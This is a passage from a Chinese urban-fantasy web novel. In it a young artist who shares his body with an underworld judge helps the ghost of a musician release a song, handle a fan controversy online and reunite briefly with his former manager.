阵法也是一样的,就比如之前提到的聚灵阵,虽然根据需要不同可以调整聚集的灵气阴阳比例,但每种比例哪怕每种边阵底层逻辑一样,也是需要去掌握细分的。
就好像你学乐器,基础指法学会了之后,弹奏每首歌的时候还需要去学习它的曲谱。
他们见过的符阵也是类似这种。
但是吴惟手上的不一样,祝福符阵、因果符阵、业火符阵、归终符阵,这是他们从典籍中看到过的很古老的符阵,可代行天道。
从这四种符阵的名字可知:
祝福就是增强,祝祈,是对善良的人进行奖赏;
因果就是种什么因得什么果,是把对错返还,一笔勾销;
业火就是焚烧恶业,自然就是一种惩罚、惩戒;
而归终,归终知来,就是预测未来,未来又建立在过去,所以它是可以查询天下事,帮助你洞察人心的符阵。
单单从这四种符阵的名字中,就能让人读出这套阵法存在的意义,是一种审判的手段。
大道至简,这套符阵据说非常简单,它甚至可以像儿童的简笔画一样,但就是因为过于简单,反而很难。
就像你长大了无法像孩童一样用简单幼稚的线条画出儿时的童真,就像书法里最简单的字往往最难写好看是一个道理。
其他符阵宋毕二人不清楚,但因果符阵上次现世还是一千多年前。
如今在一个人手里居然直接集齐了三个,真的没有问题吗?
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26. 第 26 章
问题嘛,当然有。
婴灵接过吴惟的身体,想要确认一些事,问常皓轩:“我没看错的话,你也有修行?”
常皓轩不明所以,但还是回答了:“对,不过我是警察出身,半路出家,修为很弱。”
“你是官方的人吗?”
“官方是指?”常皓轩愣了一下,反应过来,“如果你说的是华夏官方,那么是的。”
“再次介绍一下,我是特殊事件管理局行动处的处长,一般来说这个部门不会出现在大众面前,不过你也是玄门中人,倒是不需要隐瞒你什么。”
婴灵点头:“那好,有件事你们需要知道。去找你们领导估计还要申请上报,应该挺麻烦的,就由你去说吧。”
常皓轩不明觉厉,立刻坐直了身体。
宋毕二人也竖起了耳朵。
“天魔降世,你们要小心应对。”
常皓轩:“?”
宋靥星:“?”
毕子濯:“?”
宁淮:“等等,这是我能听得吗?!”
婴灵睨了他一眼,说道:“你身上有功德,又有愿力,在魔面前可是香饽饽,不论在人间还是回地府,都需要知道一些事情好自保。”
“这次的事情就和你说的魔有关。”宋靥星想起吴惟当初用功德驱散黑石符文时候的脸色,明显就是知道些什么。
八成就是现在说的天魔了。
只不过,这个词他们只在中二少年语录和小说动漫影视作品里见到过。
“你们没听过很正常,人间的道统曾经断过,很多事都记载的语焉不详。”婴灵解释道,“至于天魔,你们可以不用纠结这个词,只是个称呼而已,如果要说它具体是个什么东西,称呼它为[人间至恶]更合适一些。”
吴惟按照自己的想法补充了观点:“就像一些人假设的人类集体意识,之中肯定有恶的部分,那么所谓的[人间至恶]其实就是人类集体意识的恶念?”
婴灵:“不错,是这样。”
吴惟:“那应该还有[人间至善]?”
婴灵一噎:“你可以不用这么发散…倒不是没有,只不过善恶就如阴阳,此消彼长,既然天魔出来了,那么天神一定会沉睡。”
“他怎么还自说自话起来了,”宁淮震惊,“双重人格?!”
“应该是一体两魂。”宋靥星无语,这都不打算遮掩的吗?这种事在玄门,可是被当成异端的!
而且两个灵魂到底是怎么相处这么融洽的?
作为前警察,常皓轩也发现了问题,从婴灵刚出来的时候就感觉到了不对,仿佛嗅到了一丝领导的味道。
“倒也不必这么震惊。”婴灵淡淡说道,“重新自我介绍一下,我是此地赏善司判官。”
“之前我们在另一个孩子身上也遇到过类似的事情,只是当时不能确定,就只是托人上报了。”
“这么随便往外说,你就仗着判官笔帮你识人吧。”吴惟面无表情地吐槽道。
“你不也是。”
常皓轩从脑子里扒拉出来一个身影,“你是说那个叫盛思涵的女生?”
“是她。”
吴惟怔了怔:“你当时就发现了?”
婴灵:“不能确定。但是确实有问题,当时你太弱了,而且对这些事也不积极,我就不想让你知道。”
“嗯。”
“你不生气?”
“其实我明白,有时候知道太多不好,如果不是我这么容易卷进这种事件里,放着不管总是过意不去,你这次也肯定不会告诉我的。”
“其实不止这个原因,你变强了;另外,这次使用业火,它肯定发现你了,就算一时半会找不到你,但找上门是迟早的事。”
“这样,我明白了。”
吴惟虽然平时很颓,但是真要有什么事,还不是得上。
叹了口气,有些无奈,以后悠闲的日子是没了。
常皓轩提到这人,脸上就是一副一言难尽的表情:“我们找人试着接近她了,好在我们警察出身的同志意志比较坚定,感觉不对就撤了,她身上不知带了什么东西,一接近就仿佛被蛊惑了一样,会让人有一种…”
“爱上她的感觉?”吴惟语出惊人。
“嗯…”
“…这是什么系统文小说女主吗?”
宋靥星起了一身鸡皮疙瘩:“你不要面无表情说出这么可怕的话好嘛!”
明明长着一副祖师爷私生子的脸,为什么可以说出这么恶毒的话!
吴惟:“这不是我多想啊,她本来就是一副被小说吃掉脑子的样子,要是脑子再不好使一点,绑定个叫什么女主或者女配逆袭之类的系统的天魔,以为天上掉馅饼了不是合情合理吗?”
毕子濯欲言又止,止又欲言,最后实在憋不住了:“你为什么这么熟悉。”
“…因为我是死宅。”
言情倒是不看,但是看过不少快穿手撕沙币男女主的…咳。
另外四人:“……”
常皓轩无力道:“也是个方向,之后我们会朝着这个方向调查的。”
就是希望同事坚强点不要吐,可真是人间惨案啊。
婴灵听不下去了,终止了这个话题,“对了,宁淮呢,之后怎么办。”
宁淮有点迷茫:“我也不清楚,常处长说让我先跟他回特事处,之后等七月鬼门开的时候送我去地府。”
婴灵:“不然你跟着我吧,我教你修功德,上次的反击肯定让天魔注意到你了。”
现在敌暗我明,还是少暴露点好,若是让天魔跟着宁淮把目光转向地府,被偷家就难顶了。
虽然那里有后土大神坐镇,鬼神众多,论力量肯定高于人间。但后土作为先天的神明,反而奈何不了天魔这种诞生于人性之中的东西。
更何况天魔这种东西不讲道理,人多有时候更容易被它利用弱点,制造混乱,就算是鬼神也不例外。
这次看起来主战场在人间,但也难保地府不会被渗透。
婴灵继续游说道:“反正下地府如果要考公的话你也会被分配到各判官手下,不如直接给我当一段时间助理,以后在地府先工作也好写到简历上。”
“而且你家闹闹很喜欢我们家吴惟,你不想亲手给它养老吗?”
宁淮心动了,眼巴巴看着常皓轩。
常皓轩:“……”
行叭,有判官在没什么不能同意的。
常皓轩同意了,卖个面子好顺杆子往上爬嘛。
常皓轩露出一个贱兮兮的笑容,“判官大人,您看您也是官方的人,我们这边也是官方的,可是待遇差好多啊。”
“玄门各自为政,更本不听我们的,要不您…”
“停!”婴灵打断,“地府一般不直接插手人间事除非对手是非法留存在世的鬼怪。”
“我也没说让您干什么啊。”常皓轩有点遗憾,不过没关系,“就是挂个名。”
“不行不行,”婴灵摆手,“不过吴惟可以,你可以让他挂名当个顾问什么的,我可以提供一些知识,但是更多的不行了。”
“那就这么定了!”常皓轩喜笑颜开。
“喂!”就这么把他卖了,有听他说话嘛!
常皓轩见吴惟换过来了,一把揽过他的肩膀,嬉笑道,“别这么排斥嘛,我给你申请,不需要打卡,五险一金和公务员一样,每个月啥也不干就能拿保底,有事出外勤另外算,怎么样。”
“你就当多了个兼职嘛!”
吴惟冷笑:“呵。”鬼才信。
狗都不信官方能有事少钱多的编外人员。
“特殊情况特殊对待嘛。”
“行,你申请下来再说。”
常皓轩比了个ok。
申请不下来他就不姓常。
.
“闹闹乖~开饭~开饭~”
“你好~谢谢~拜拜~”
“啾啾咕咕嘎嘎嘎~”
新的一天在八哥学人说话和叫声中惊醒。
闹闹很喜欢小阳台。
前两天吴惟出门买菜,看到那条路上的行道树被修剪了,枝桠还没来得及清理,堆在路边。
他跑去挑了根看起来比较粗壮的回来,给闹闹做了个站架摆在阳台。
叶子还没去,看着挺喜人,至少闹闹很喜欢,没事就爱站在上面叨叶子。
然而阳台是挑空的,卧室就正对着阳台,闹闹每天早上都六七点的时候都喜欢开始练嗓子。
这可苦了吴惟,每天都魔音贯耳。
毕竟鸟叫这种东西,平时好听,到放在睡眠中就是灾难,更何况八哥夹杂着说话声中的叫声,更吵了。
吴惟痛苦捂住耳朵,心里大声哔哔:“不行我得改作息,以后十点前睡,五点起床!”
“这才是人该有的作息,古人诚不欺我!”
宁淮从骨笛中飘出来,竖起大拇指给出了肯定:“就应该这样!”
心脏不好的人不配熬夜,对这件事他很有话语权。
好家伙,是谁把心里话说出来了,是我啊,那没事了:)
吴惟满脸怨气地爬起来洗漱,虽然平时他也是这个点差不多就醒了,但是被吵醒和自然醒完全是两个状态。
把泡好的玉米糁摆好看它跳过去吃,这才把身体换给婴灵做饭。
别误会,不是吴惟压榨童工,谁吃饭谁做饭很公平。
吴惟本身对口腹之欲不是很看重,甚至有时候会觉得吃饭麻烦干脆辟谷,所以婴灵表现出了她对美食的热爱后,干脆把厨房也交给她了。
毕竟自己做饭只是不算难吃而已。
宁淮在一边啧啧称奇,说起来他口腹之欲也很低,主要是因为忌口的东西比较多,没吃过自然就没念想了。
倒是
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没想到判官大人居然比两个活人更喜欢美食。
距离从别墅…哦不,距离从医院回来已经差不多半个月了。
这半个月过的还挺平静,除了日常跟判官小姐学习一些功德的用法以外,宁淮也尝试过符阵,可惜他怎么都领悟不到要点。
尝试了一些[里世界]公开的术法,咒术、符箓、阵法等…似乎都不太行,宁淮有些沮丧。
[里世界]就是那个异次元app的玄门版,一般公开的部分,都是一些各门各派都知道的基础信息,术法自然也是最基础的那些。
不过要吴惟说所为的基础,也只是建立在玄门体系架构下的。
宁淮虽然因为心脏关系学习文化课的时间很少,但到底是基础教育出来的,而且不像他,从小就学的杂,能够理解玄门的东西。
要类比的话,就像有些中医学生因为先学的西医,总觉得中医一些观点是胡说八道一样。
想要去学玄门的术法,就必须建立起阴阳五行的框架,这不光是要啃书,还需要把世界观打碎重组,挺困难的,想要短期速成也不现实。
不过吴惟倒是有可以参考的办法,毕竟他就不是走的寻常路。
这几天听宁淮讲自己以前的事,还从网站上找到他的音乐来听,一时之间灵感爆棚,画了一个小动画。
与上次的手书不同,这次画风唯美许多,线条多是流畅的曲线,笔触更像是儿童画,色彩也比以前的画更加鲜明。
画面的内容更像童话,小羊独自坐在小屋的床上,小屋有些阴暗,和窗外明亮的色彩界限分明,仿佛是两个世界。
窗外的小鸟问它为什么不出去和伙伴们玩,小羊说我生病了,不可以离开这间屋子,他们都不愿意来这里找我玩。
鸟儿听了它的话很快飞走了,第二天,鸟儿带来了漂亮的花冠,它说这是蝴蝶为它找来的最好看的花。
第三天鸟儿带来了一颗饱满的松果,这是松鼠珍藏了一个冬天最喜欢的松果。
第四天,鸟儿带来了一颗珍珠,这是河蚌用了很长时间打磨得最完美的珍珠。
第五天、第六天…每天都会有一样大家珍藏的宝贝被鸟儿送来,小羊终于忍不住问鸟儿为什么大家会愿意把最宝贵的东西送给他。
鸟儿说,大家并不是不愿意和小羊玩,大家都很喜欢小羊,只是因为小羊生病了,它们害怕打扰到小羊,也害怕它不接纳自己,所以才不敢来找小羊玩。
小羊听了很感动,很想见一见伙伴们,躲在草丛后面的伙伴们听到这句话立刻站了出来。
伙伴们趴在窗户边,小声祝福它,小羊小羊,你要快点好起来呀,世界很大,我们想把所有的美好都和你一起分享。
一缕阳光照进小屋,驱散了黑暗。
动画到这里就结束了。
其实这个灵感的来源也不光是宁淮小时候的经历,宁淮不幸得了心脏病,却很幸运的收获了特别好的长辈和伙伴。
张钰婷恰恰相反,拥有健康的身体,却因为一些伤害过她的人封闭内心,使阳光照不进去,这让他很难受。
张钰婷小时候其实很健康,后来营养不良纯粹是那些年被作践出来的。
吴惟听着宁淮的故事,就会想起曾经遇到的这个女孩儿,也许当时她有一只小鸟,就不会被困在黑暗的屋子里了吧。
至于用鸟儿的形象,纯粹是闹闹太可爱,吴惟被影响到了…
这是吴惟第一次创作童话类的作品,也不知道自己表达的怎么样,不过有一点敢肯定,这次配乐绝对很够氛围。
毕竟作曲是宁淮嘛,虽然宁淮也是第一次创作这种偏儿童的曲子,但有一点毋庸置疑,他从创作一来曲风都轻快明亮,让人一听就能感受到温暖。
这也是吴惟给他找的修行方向,既然术法学不会,咱们来点熟悉的,比如,尝试把愿力融入歌曲。
宁淮本就是个音乐人,在自己最熟悉的领域才能发挥自己的潜质。
正好吴惟想做这么个小动画,去找曲子还得买版权,而且不一定贴合,找人作曲,最佳人选自然身边的宁淮了。
于是干脆一不做二不休…啊不是,反正就物尽其用嘛,作曲是要做的,干脆就尝试着使用愿力去创作吧。
愿力本就是心念之力,当你投入十二分热情的时候就会产生愿力,只不过这次需要有意识的,去给创作附加概念,比如“希望听到这首曲子的人可以烦恼全消”。
这首曲子中间有一段轻快的吟唱,吴惟让他录的时候摒弃杂念,用最真挚的心情去唱。
宁淮本来就是个很负责任的创作者,更别说这首歌如果成功一定会帮助到很多人,录的时候自然很虔诚,效果也很喜人。
宁淮发现他原本尝试咒术的时候怎么都施展不出来的言灵,水到渠成地附着在哼唱的曲调上了。
这可真是以外之喜啊!
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27. 第 27 章
石小小点开某博,看到一个陌生又熟悉的名字发布了一条某博。
说陌生吧是因为这段时间发的都是她不太感兴趣的,说熟悉吧,太太以前的画风太香了。
不管是啥先进去看一眼再说好了。
事事无为:[光 #视频# ]
这名字多少有点简单粗暴了,看视频封面,这也太卡通了吧。
石小小有些失望,感觉自己运气是真糟,明明因为神话关注这个太太,结果刚关注就不更新神话相关的作品了。
算了,还是看一眼吧,上次那个《坠落》虽然也不是神话题材的,但是意外的让人很有感触,只不过以她的习惯,不是感兴趣的,哪怕再好也就看一遍了。
这么想着,石小小叹了口气,手指点向了视频…
半个小时后…
石小小猛然惊醒,一看时间,好家伙自己居然循环了半个小时!
摸摸快要笑僵的脸,石小小有些发怔。
这两天被沙币上司折磨得死去活来,方案改了又改,她整个人都暴躁的不行,难得偷个闲刷刷某博,没想到对着原本不感兴趣的内容笑了这么久。
最开始,倒不是觉得童话故事有多好看,太太这次画风虽然大变,但绘画功底还在的,画面美术肯定也是不错的,只不过都是成年人了,这种童话对她确实没什么吸引力。
但是她跟着这个配乐沉浸进去了,音乐最开始,配合小羊的忧郁,曲调也显得寂静冷清,随着鸟儿每天带着礼物前来,曲调也轻快起来,只是这轻快好像还压着什么,又好像带着点迷茫。
随着时间推进,小羊的迷茫和忐忑更甚,曲调变得急促,中间还能听出一点点小雀跃。
直到小羊实在忍不住了问出了心中的疑惑,急促的曲调骤然停顿,轻柔的钢琴声伴随着吟唱从远方飘来,由远及近,仿佛慢慢的试探。
随着小羊的肯定,钢琴声瞬间变得明快,像新芽破土,也像阳光骤然照进腐朽的心,霸道又温柔地剥夺了所有的幽暗。
只是到这事,曲子已经收尾,让人意犹未尽,不由自主的想听第二遍。
结果就让石小小循环了半个小时才发现时间就这么流逝了。
但现在她反而不急了,之前烦躁的情绪一扫而空,她甚至有心情如睡个午觉,补充补充精力。
下午四点,睡了差不多三个小时石小小爬起来,打开电脑再战方案,这次她觉得神清气爽,头脑清晰,原本删删改改拖了好几天的方案只用了不到两个小时就做完了。
周一上班后,他们项目的负责人说方案通过了,真是顺利的不行。
果然啊,人只有休息好,精力充沛了才能好好干活。
.
[呜呜呜好可爱,我的心都要萌化了]
[好温暖啊,居然是童话,太太好像第一次画童话欸,话说有人知道背景音乐是什么吗,听歌识曲搜不到]
[我也搜不到,报幕标的是闹闹,我去各大平台都搜了搜不到这么个人,一些小众音乐平台都搜不到,应该是太太自己约的?]
[我觉得也是 @事事无为,问问太太能不能让闹闹老师单独发到音乐平台上,想单曲循环]
[我就不一样了,直接用b播放视频音频 #墨镜一戴谁也不爱#]
[好主意,说真的,这首歌魔性了,我都单曲循环好几遍了也不腻,整个人都充满了童真]
[笑死,太太高光都被配乐抢了,真不知道太太从哪请来这么厉害的作曲老师]
[弱弱举手,这个风格听起来和宁淮好像啊,而且他有一只八哥也叫闹闹]
[盲生你发现了华点,太太最近也养了一只八哥,整天不发画就爱拍鸟,天天在某博发,我差点都以为他要去宠物区了,那只鸟也叫闹闹]
[好家伙,所以配乐是宁淮?]
[你们在说什么,宁淮老师人已经不在了,能不要消费他了吗?人起码得有些尊重吧!]
[宁淮老师人已经不在了,有些人还蹭他热度,不给个说法吗 @事事无为]
吴惟看到的时候,已经一百多条艾特了,宁淮的一部分粉丝看到后觉得很愤怒,都在这条视频下面讨说法,大部分在某博。
毕竟不是某些圈子,他的粉丝还是很理智的,有的甚至帮忙艾特,说希望他解释清楚,不要有什么误会。
大家都是画友,如果你人品不好,画的再好都会跳走,或者干脆只看画,不再讨论这个人。
但是吧,这事怎么解决呢,毕竟确实是宁淮本人创作,但是人不在了,要不是宁淮告诉他外界已经宣布他死亡了,他差点都打宁淮的名字了。
这事闹的。
“要不你说我是宁淮的徒弟?”
“宁淮的徒弟起他宠物的名字…要不你说你是八哥成精算了。”吴惟捂脸。
“那咋办,你有更好的方式吗,总不能说我还活着吧…”
那样之前的老板就难做了,更何况他下葬是老东家帮的忙,他们都知道,总不能告诉所有人是鬼写的歌吧…
“要不你说你是我徒弟?”
吴惟:“……”
“你开什么玩笑,我也是创作者,绝对不会占用别人劳动成果!”
“更何况我一画画的,一点乐理都不懂,万一哪天去漫展玩被认出来问些乐理知识岂不是会死的很惨!”
吴惟都惊得跳了起来,可见内心有多抗拒。
“我觉得徒弟果然更合理,不然给你开个账号你来解释?”果然没有对比就没有伤害,这种说法反而是更好的,毕竟宁淮以后肯定还是想继续创作的。
“也不用开新账号,我以前有个小号,”而且确实如果是新开的会比较可疑,好在当初那个账号没有透露一点和宁淮有关的事,“上面只记录了一些没被公司采用的作品。”
“那些曲子确实没有大号质量那么高,但是当时舍不得扔,就干脆发在小号上了,也算是小有名气。”
“只不过这样一来别人不知道,我老板肯定会看出问题,他知道我这个小号。”
“只有你老板?”
“只有老板。”
“行,一个人知道总比很多人强。”而且还解决了他的说谎危机,挺好的。
宁淮登上某博小号,把名字改成了[是闹闹呀]。
是闹闹呀:[ #转发# 认领配乐作曲,一直没有说,宁淮老师是我师父,无为老师和老师是好朋友哦,@事事无为
本来不准备说这个事情的,这个视频是我们为师父准备的礼物,我本人和师父感情很好,师父不在了想要找一个寄托,才会用闹闹的名字为他写歌,没想到造成这么大的误会,实在对不住,希望大家不要再攻击无为老师了]
[好家伙,我说这是谁,一翻前面才发现是你啊景江老师,你终于找到自己账号的密码了?]
[原来江江是淮淮的徒弟啊,难怪风格这么像!这么说来江江确实是在淮淮离开后没有再发作品了,是在闭关给老师准备礼物吗,突然有种想哭的冲动]
[刚刚翻了一下太太的主页,眼睛尿尿了,原来无为太太人是这么温暖的人,难怪会画这么温馨的画风,呜呜呜对不起我再也不说你是鸽子了,这么重要的礼物当然是要好好准备才可以!]
[弱弱地举手问一句,江江很喜欢闹闹吧,连名字都改成闹闹了,为什么没有收养呢]
是闹闹呀:[因为家里条件不允许呀,而且无为老师照顾的很好 #闹闹歪头晒太阳#]
[这油光水滑的,果然过的很好,这样淮淮在天之灵也放心了,谢谢无为老师]
虽是无心,但[事事无为]和[是闹闹呀]都收割了一批宁淮的粉。
“活像吃人血馒头。”吴惟无情吐槽。
宁淮无语地瞥了一眼自家老板,倒也不至于吧,“这就是你不回我的原因吗?”
没错,宁淮用小号发了某博之后,[事事无为]就没动静了,一般来说这种都会有个互动,双方感谢一下,或者多解释两句什么的。
但是没有,吴惟除了扒评论就没再动了。
“你好歹说两句啊,没发现下面又有人要浑水摸鱼了!”
你说你一个十几万粉丝的博主,怎么就不会运营账号
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呢,被吃人血馒头的本人看着都着急。
吴惟:“……”
行…行叭。
事事无为:[ #转发# 感谢作曲老师,视频灵感来源于宁淮老师,他是个非常温暖的人,也希望能让看到作品的你们感到一丝温暖,你们的幸福是给他最好的礼物。
家里的小客人确实是闹闹,emmmm好像没别的要交代的了。
另外,淮哥的粉丝就不用关注我了吧,翻翻我主页平时也不是这个画风,而且可能就这一次,你们这样搞的我好像吃人血馒头一样!!!]
是闹闹呀:[谁关注你了,我们关注的是闹闹 #狗头#]
[谁关注你了,我们关注的是闹闹 #狗头#]
[谁关注你了,我们关注的是闹闹 #狗头#]
宁淮一起哄,后面跟了一排队列,吴惟死亡视线凝视了着宁淮,他一点都不带怕的,冲着吴惟眨巴眨巴眼睛,“无为太太太害羞不好。”
“同样是死宅,为什么你这么社牛…”
“这个嘛,”宁淮露出一个害羞的表情,“我只是心脏不好需要静养才宅在家里的。”
他更向往广阔的天地呢。
吴惟了然,“过段时间去旅游吧,你想去哪?”
宁淮眼睛亮了起来,说了好几个著名景点,吴惟打开记事本一一记下,“好,等我这两天做做攻略。”
“老板万岁!”
“不过在那之前…”
吴惟把手机转过来怼到宁淮眼前,屏幕上是一条私信:[你是谁?为什么会用宁淮的小号?!]
这个手机现在登陆的就是[是闹闹呀]这个号,刚刚吴惟发消息用的是平板。
“先把他解决了吧。”
.
关兴面无表情地盯着私信,脸色阴沉到快要滴水了。
此时的他很愤怒,宁淮那么好的人,竟然有人吃他的人血馒头!
那个[事事无为]还挺有自知自明的,真要是觉得自己理亏就别在这时候发,找人模仿宁淮的风格,还把他的小号盗了。
不,说不定就是偷的宁淮的作品,这个人一定认识宁淮,还很得他的信任,能把他骗的团团转。
他怎么不知道宁淮还有个徒弟?反而是这个徒弟号上的作品都是宁淮亲手写的!
自家养的傻白甜关兴再清楚不过了,那就是一个你对我好一点,我对你好一百倍的主,一点都不知道防人。
傻白甜养的鸟,也是个傻白甜,谁知道这人是怎么哄骗它的。
关兴想把这人揪出来。
没一会儿,对面就回消息了。
是闹闹呀:老板,见一面吧,老地方。
没想到这人居然敢见他,关兴有些意外。老地方?是说他和宁淮平时见面经常约的那个咖啡馆?
这人还知道这些?难道他平时都盯着宁淮?真是大意了,当初就应该好好排查他身边的隐患!
但无论怎么样,见面是必须的,他不能让人扒着宁淮吸血,让他走不安生。
关山海:行,明天下午。
是闹闹呀:可以。
咖啡馆离吴惟家也不远,走路只需要十几分钟。毕竟他家就在宁淮家隔条街的小区,宁淮平时也不能走太远。
那家咖啡馆环境清幽,有独立的小包间,每个包间还有不同的主题,有时候宁淮在家呆烦了想换换脑子,就会去那里点杯咖啡,坐一下午。
他和老板也经常约在那见面。
下午一点多,吴惟就带着骨笛出门了,在宁淮的指引下,找到他们经常聚的那个包间,人已经到了。
吴惟半点不废话,在确认眼前的人就是宁淮老板之后,直接把骨笛放在他面前,学毕子濯给老板开眼:“天清地明,阴浊阳清,开我法眼,阴阳分明。”
社恐不存在寒暄,有事宁淮自己上。
愿力加持下,开眼毫不费劲。
宁淮飘了出来,“好久不见兴子。”
关兴瞳孔剧烈震动,表情都裂开了!
不是等等,你们干了什么,我还没准备好!
.
28. 第 28 章
恶作剧成功,宁淮笑得开怀。
关兴看到他这熟悉的样子,紧绷的身体慢慢放松下来。
宁淮很高兴地围着他飞了一圈,“没想到吧,还能再见到我。”
“确实没想到。”关兴有些无奈,这人真的是一辈子都是小孩子心性。
短短几分钟,三观就崩碎一地,他倒是没有考虑过这是什么骗人的把戏,毕竟现在最牛的科技也做不到这样的效果,要真有,做什么不好拿来骗他。
“原来这世界上真有鬼啊。”
“你们聊,我出去等你们。”作为外人,吴惟不打算在这碍眼了,说完就转身去了大厅。
好久没喝咖啡了,孩子喜欢美食,就给婴灵来一杯尝尝好了。
另一边,宁淮坐在关兴对面,已经把这段时间的经历和关兴大致说了一遍,并说道:“这次来见你主要是为了让你放心,没有谁要害我,只是做鬼也想捡起自己喜欢的东西。”
“后面我可能还会出作品。”就不用大惊小怪的了。
“另外这件事情是不能往外说的,之后我会对你下个封口令,也就是想提到这件事的时候开不了口,不会有什么影响。”
如果刚刚的事是吴惟来说,关兴可能还要怀疑,但他跟宁淮太熟悉了,知道他说谎的时候是什么表现。
现在这么四平八稳的样子,肯定都是真的。
但他还是有点担心,“你确定他没有骗你什么?万一这一出是他自导自演…”你这个傻白甜肯定看不出来。
“不会的。”宁淮解释道,“兴子你没接触可能玄学不清楚,他们比普通人要更懂得什么是因果报应。”
“更何况他身上有功德,你之前看小说应该知道功德这个概念吧,这是真实存在的,并且只有做好事并且得到天地认可才可以得到它,再怎么样他也不会是恶人。”
关兴松了口气,“你心里有数就好。”
看到老朋友无恙,甚至能够开启另一段人生,关兴还是很高兴的,解决了之前“可能有人对宁淮不利”的疑虑,关兴的笑容也变得真心起来。
“怎么样,这次作为徒弟,要不要也签我公司名下?”关山海虽然是小公司,但在业内名声还是很好的,旗下作品少而精,就连宁淮很多质量不错的作品都被卡在审核上了。
宁淮跟他合作还是挺舒心的,但是,“不了,人鬼殊途,我现在会在人间发布作品也是因为一些特殊情况。”
至于有关天魔的事,之前讲述的时候就隐去了,这种事不应该让普通人知道。
天魔和人间的战争,更多的是心里战,人间的善意越多,天魔的力量越弱。
刚好宁淮的作品能够驱散人内心的黑暗,哪怕作为鬼,他也是不可多得的战力,所以不管是地府代表婴灵,还是人间官方那边都睁一只眼闭一只眼。
但是如果跟人间公司合作,那可就太过分了,谁来了都得给摁下去。
“好吧。”关兴的语气充满了遗憾。
.
此时,[随心所欲小分队]
小玉盘:来来快说说,最近又遇到什么事了@事事无为
事事无为:?
事事无为:等等,群名是怎么回事?
无妄:小兴子改的,她说在场的人,有一个算一个都是无法无天的主
当时她具体的解释是,无为的能力不讲逻辑,不讲道理;自己是个剑修,拼的就是一股狠劲;明月只做自己认为对的事,无妄也是个不喜欢按规矩办事的人。
都挺随心所欲的。
小玉盘:你这次画风不对,肯定是遇到什么事才会用不熟悉的画风!
事事无为:…也不用这么了解。
吴惟大概讲了一下之前遇到的事,打字打烦了,干脆用语音输入
小玉盘:6你这体质怎么回事,扔个垃圾还能被动物拐
事事无为:我扔个垃圾还能拐个判官回家呢
小玉盘:6666不愧是你
明明明月:原来判官小姐是这么来的
无妄:不知道还说你运气好还是差了
明明明月:我觉得该让莫繁给你看看,你觉得呢@无妄
无妄:好主意,等我去问问
事事无为:莫繁是谁?
明明明月:一个很厉害的…算命的,一时之间不知道怎么称呼他#黄豆捂脸#
事事无为:啊?
明明明月:因为他会的很多,命理、相面、占卜…反正算命沾点边的技能他都会
事事无为:目瞪口呆.jpg
小玉盘:#截图#
小玉盘:无为太太看着有什么感想?
吴惟点开图片,发现是一个评论:
[不知道为什么,这次的动画让我想起上次那个手书《坠落》,我在想,如果坠落的主角遇到小鸟会不会避免最后自杀的结局呢?
好像也不一定,小鸟能够持续为小羊送来礼物是因为他接受了,但是生活在恶意中,防备心就会很强,很难抓住外界的一丝善意,也许有时候你伸出手,就能得救。
但长期遭受暴力冷暴力或者其他伤害的人,很难做到这一步,他们不知道你伸出去的手碰到的是阳光还是变本加厉的伤害。
但其实外界很多时候冷漠只是因为不了解,他们也需要保护自己的外壳,但当他们接收到求救信号的时候,就会释放出善意,拉你出深渊。
也许太太画这个动画也有希望处于黑暗中的人们勇敢伸出手的意思?]
事事无为:是有一点这个意思啦,这人好敏感,不过想想其实也不一定,毕竟有的时候外界救不了你,加害者只会变本加厉…哎
事事无为:所以这只是一个美好的祝愿罢了
小玉盘:别那么悲观嘛,总会有人好起来的
事事无为:嗯
群里的气氛变得有点沉重,不过吴惟没再看了,关兴已经带着骨笛出来了。
关兴将骨笛交给吴惟,“麻烦您照顾阿淮了。”
吴惟点点头,“不麻烦,你们不再说说话?”他看了眼天色,这会儿还早,太阳都没下去,“这应该是最后一面了,哪怕他还在人间,也不可能再让你们见面了。”
关兴摇摇头,“不用了,人鬼殊途,能再见上这一面已经很好了。
“阿淮现在摆脱了那副病歪歪的身体,应该能过的很好,也不需要我担心什么了。”
他没有告诉过宁淮,他也算是看着对方长大的。
院长爷爷是他的父亲,他是家里最小的孩子,也就比宁淮大五六岁,小时候经常去孤儿院帮忙做些事,后来因为学业才去的少了。
他也是这个时候认识宁淮的。
他们孤儿院很特殊,也是个疗养院,里面每个孩子都有些先天缺陷。
他的父亲是个医生,因为曾经治疗过一个小病人,痛苦的死在了病床上。
那个小病人最后的那段日子,是在各种治疗中度过的。
她的家庭条件并不好,为了给她治病,几乎拖垮了一个家庭,她最后的心愿,是能够看看大海。
这件事过后,他的父亲就无法面对那些被困在医院里,想要自由的病人,最终他还是辞职了。
关兴的母亲是做生意的企业家,得知了丈夫的心病,出资为他建了个孤儿院,专门收养那些治不起病的孩子。
这家孤儿院怎么经营的关兴不清楚,更不知道为了那些孩子父亲付出了多少,只知道他看到的时候,就已经是现在的规模了。
孩子不是很多,只有十几个人,因为先天的缺陷他们都不一定能活到成年,但是每个孩子脸上都总是洋溢着笑容。
他们不怕病痛,因为他们知道还有伙伴陪着他们,哪怕有一天不得不离开,伙伴们也不会孤独。
院长爷爷会给他们找来一些懂得很多又很温柔老师,那些老师会手把手教他们做有意思的事,做对了会夸奖他们,做错了也会鼓励他们。
虽然因为身体,他们不能出远门,但院长爷爷会给他们找来很多关于远方的诗画歌曲,散文小说,即便身体被困在方寸之中,他们的心却很自由。
关兴很喜欢这样的氛围,当然也很喜欢那些孩子,所以当母亲拜托他照顾宁淮的时候,他自然很愿意了。
因为多年未见,加上小孩子变化最快的那几年没有来孤儿院,长大后的宁淮并不认识关兴,关兴也没有告诉过他。
因为这孩子想要独立,院长一家也愿意让他独立,他们认为孩子长大了,应该有自己做决定的自由。
但总是免不了担心,免不了想要多照顾一些。
对成年人的照顾自然和孩子不一样,他和宁淮成为了好朋友,作为经纪人帮他打理和运营作品,只是偶尔关心一下生活方面。
因为分寸感拿捏的很好,宁淮至今不知道哪怕长大了,院长一家依旧关心着自己。
孤儿院来来回回送走过很多孩子,宁淮不是第一个,也不是最后一个。所以他死的时候,没有人为他难过,大家都知道他短短的一生过的很快乐,这就足够了。
如今小伙伴要踏上新的旅途,关兴也是真心为他感到开心。
.
夏日炎炎,七月的天气已经入伏,即使是夜晚,也不会有多凉爽。
好在吴惟有愿力。温热的空气触碰到身边的愿力时,就冷却了,此时的他一身清爽。
难得出来逛逛,吴惟扫了一辆共享单车,准备去远一点的地方买个西瓜回家。
西瓜是夏天的标配,清热解暑,生津止渴,在家的时候,他妈每天都会买好大一个,一家三口用勺子分着吃,连汁水都不浪费。
